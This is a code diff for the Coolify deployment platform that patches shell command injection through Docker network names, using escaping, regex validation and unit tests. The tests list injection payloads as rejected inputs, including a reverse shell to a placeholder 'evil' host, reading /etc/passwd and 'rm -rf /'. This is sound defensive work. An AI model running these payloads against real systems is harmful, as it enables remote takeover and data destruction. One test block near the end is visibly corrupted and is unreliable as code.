diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index 6b5e1d4ac..17948d93b 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -40,10 +40,10 @@ public function handle(Service $service, bool $pullLatestImages = false, bool $s $commands[] = "docker network connect $service->uuid coolify-proxy >/dev/null 2>&1 || true"; if (data_get($service, 'connect_to_docker_network')) { $compose = data_get($service, 'docker_compose', []); - $network = $service->destination->network; + $safeNetwork = escapeshellarg($service->destination->network); $serviceNames = data_get(Yaml::parse($compose), 'services', []); foreach ($serviceNames as $serviceName => $serviceConfig) { - $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} $network {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; + $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} {$safeNetwork} {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; } } diff --git a/app/Console/Commands/Init.php b/app/Console/Commands/Init.php index 66cb77838..e95c29f72 100644 --- a/app/Console/Commands/Init.php +++ b/app/Console/Commands/Init.php @@ -212,18 +212,19 @@ private function cleanupUnusedNetworkFromCoolifyProxy() $removeNetworks = $allNetworks->diff($networks); $commands = collect(); foreach ($removeNetworks as $network) { - $out = instant_remote_process(["docker network inspect -f json $network | jq '.[].Containers | if . == {} then null else . end'"], $server, false); + $safe = escapeshellarg($network); + $out = instant_remote_process(["docker network inspect -f json {$safe} | jq '.[].Containers | if . == {} then null else . end'"], $server, false); if (empty($out)) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } else { $data = collect(json_decode($out, true)); if ($data->count() === 1) { // If only coolify-proxy itself is connected to that network (it should not be possible, but who knows) $isCoolifyProxyItself = data_get($data->first(), 'Name') === 'coolify-proxy'; if ($isCoolifyProxyItself) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } } } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 785e8c8e3..dc8bc4374 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -288,7 +288,8 @@ public function handle(): void // Make sure the private key is stored in the filesystem $this->server->privateKey->storeInFileSystem(); // Generate custom host<->ip mapping - $allContainers = instant_remote_process(["docker network inspect {$this->destination->network} -f '{{json .Containers}}' "], $this->server); + $safeNetwork = escapeshellarg($this->destination->network); + $allContainers = instant_remote_process(["docker network inspect {$safeNetwork} -f '{{json .Containers}}' "], $this->server); if (! is_null($allContainers)) { $allContainers = format_docker_command_output_to_json($allContainers); @@ -2015,9 +2016,11 @@ private function prepare_builder_image(bool $firstTry = true) $runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { if ($this->dockerConfigFileExists === 'OK') { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } } if ($firstTry) { @@ -3046,28 +3049,29 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack + $safeNetwork = escapeshellarg($this->destination->network); if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 7f1feaa21..a2d08e1e8 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -678,6 +678,7 @@ private function upload_to_s3(): void } else { $network = $this->database->destination->network; } + $safeNetwork = escapeshellarg($network); $fullImageName = $this->getFullImageName(); @@ -689,13 +690,13 @@ private function upload_to_s3(): void if (isDev()) { if ($this->database->name === 'coolify-db') { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/coolify/coolify-db-'.$this->server->ip.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } else { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/databases/'.str($this->team->name)->slug().'-'.$this->team->id.'/'.$this->directory_name.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } } else { - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; } // Escape S3 credentials to prevent command injection diff --git a/app/Livewire/Destination/New/Docker.php b/app/Livewire/Destination/New/Docker.php index 70751fa03..5c1b178d7 100644 --- a/app/Livewire/Destination/New/Docker.php +++ b/app/Livewire/Destination/New/Docker.php @@ -5,6 +5,7 @@ use App\Models\Server; use App\Models\StandaloneDocker; use App\Models\SwarmDocker; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -24,7 +25,7 @@ class Docker extends Component #[Validate(['required', 'string'])] public string $name; - #[Validate(['required', 'string'])] + #[Validate(['required', 'string', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['required', 'string'])] diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php index 98cf72376..f2cdad074 100644 --- a/app/Livewire/Destination/Show.php +++ b/app/Livewire/Destination/Show.php @@ -20,7 +20,7 @@ class Show extends Component #[Validate(['string', 'required'])] public string $name; - #[Validate(['string', 'required'])] + #[Validate(['string', 'required', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['string', 'required'])] @@ -84,8 +84,9 @@ public function delete() if ($this->destination->attachedTo()) { return $this->dispatch('error', 'You must delete all resources before deleting this destination.'); } - instant_remote_process(["docker network disconnect {$this->destination->network} coolify-proxy"], $this->destination->server, throwError: false); - instant_remote_process(['docker network rm -f '.$this->destination->network], $this->destination->server); + $safeNetwork = escapeshellarg($this->destination->network); + instant_remote_process(["docker network disconnect {$safeNetwork} coolify-proxy"], $this->destination->server, throwError: false); + instant_remote_process(["docker network rm -f {$safeNetwork}"], $this->destination->server); } $this->destination->delete(); diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 0407c2255..abd6e168f 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Jobs\ConnectProxyToNetworksJob; +use App\Support\ValidationPatterns; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -18,13 +19,23 @@ protected static function boot() parent::boot(); static::created(function ($newStandaloneDocker) { $server = $newStandaloneDocker->server; + $safeNetwork = escapeshellarg($newStandaloneDocker->network); instant_remote_process([ - "docker network inspect $newStandaloneDocker->network >/dev/null 2>&1 || docker network create --driver overlay --attachable $newStandaloneDocker->network >/dev/null", + "docker network inspect {$safeNetwork} >/dev/null 2>&1 || docker network create --driver overlay --attachable {$safeNetwork} >/dev/null", ], $server, false); ConnectProxyToNetworksJob::dispatchSync($server); }); } + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } + public function applications() { return $this->morphMany(Application::class, 'destination'); diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 08be81970..3144432c5 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -2,10 +2,21 @@ namespace App\Models; +use App\Support\ValidationPatterns; + class SwarmDocker extends BaseModel { protected $guarded = []; + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } + public function applications() { return $this->morphMany(Application::class, 'destination'); diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 7084b4cc2..cec607f4e 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -58,6 +58,13 @@ class ValidationPatterns */ public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** + * Pattern for Docker network names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + * Matches Docker's network naming rules and prevents shell injection + */ + public const DOCKER_NETWORK_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -210,6 +217,44 @@ public static function isValidContainerName(string $name): bool return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1; } + /** + * Get validation rules for Docker network name fields + */ + public static function dockerNetworkRules(bool $required = true, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DOCKER_NETWORK_PATTERN; + + return $rules; + } + + /** + * Get validation messages for Docker network name fields + */ + public static function dockerNetworkMessages(string $field = 'network'): array + { + return [ + "{$field}.regex" => 'The network name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.', + ]; + } + + /** + * Check if a string is a valid Docker network name. + */ + public static function isValidDockerNetwork(string $name): bool + { + return preg_match(self::DOCKER_NETWORK_PATTERN, $name) === 1; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index cf9f648bb..ed18dfe76 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -109,18 +109,20 @@ function connectProxyToNetworks(Server $server) ['networks' => $networks] = collectDockerNetworksByServer($server); if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --driver overlay --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --driver overlay --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "docker network ls --format '{{.Name}}' | grep '^$network$' >/dev/null || docker network create --attachable $network >/dev/null", - "docker network connect $network coolify-proxy >/dev/null 2>&1 || true", - "echo 'Successfully connected coolify-proxy to $network network.'", + "docker network ls --format '{{.Name}}' | grep '^{$network}$' >/dev/null || docker network create --attachable {$safe} >/dev/null", + "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", + "echo 'Successfully connected coolify-proxy to {$safe} network.'", ]; }); } @@ -141,16 +143,18 @@ function ensureProxyNetworksExist(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable {$safe}", ]; }); } else { $commands = $networks->map(function ($network) { + $safe = escapeshellarg($network); return [ - "echo 'Ensuring network $network exists...'", - "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", + "echo 'Ensuring network {$safe} exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable {$safe}", ]; }); } diff --git a/tests/Unit/DockerNetworkInjectionTest.php b/tests/Unit/DockerNetworkInjectionTest.php new file mode 100644 index 000000000..b3ca4ac60 --- /dev/null +++ b/tests/Unit/DockerNetworkInjectionTest.php @@ -0,0 +1,48 @@ +network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'space injection' => 'net work', +])->throws(InvalidArgumentException::class); + +it('StandaloneDocker accepts valid network names', function (string $network) { + $model = new StandaloneDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'alphanumeric' => 'network123', +]); + +it('SwarmDocker rejects network names with shell metacharacters', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', +])->throws(InvalidArgumentException::class); + +it('SwarmDocker accepts valid network names', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', +]); diff --git a/tests/Unit/ValidationPatternsTest.php b/tests/Unit/ValidationPatternsTest.php index 0da8f9a4d..9ecffe46d 100644 --- a/tests/Unit/ValidationPatternsTest.php +++ b/tests/Unit/ValidationPatternsTest.php @@ -80,3 +80,53 @@ expect(mb_strlen($name))->toBeGreaterThanOrEqual(3) ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1); }); + +it('accepts valid Docker network names', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue(); +})->with([ + 'simple name' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1', + 'alphanumeric' => 'network123', + 'starts with number' => '1network', + 'complex valid' => 'coolify-proxy.net_2', +]); + +it('rejects Docker network names with shell metacharacters', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse(); +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'ampersand injection' => 'net&rm -rf /', + 'space' => 'net work', + 'newline' => "net\nwork", + 'starts with dot' => '.network', + 'starts with hyphen' => '-network', + 'slash' => 'net/work', + 'backslash' => 'net\\work', + 'empty string' => '', + 'single quotes' => "net'work", + 'double quotes' => 'net"work', + 'greater than' => 'net>work', + 'less than' => 'nettoContain('required') + ->toContain('string') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN); +}); + +it('generates nullable dockerNetworkRules when not required', function () { + $rules = ValidationPatterns::dockerNetworkRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +});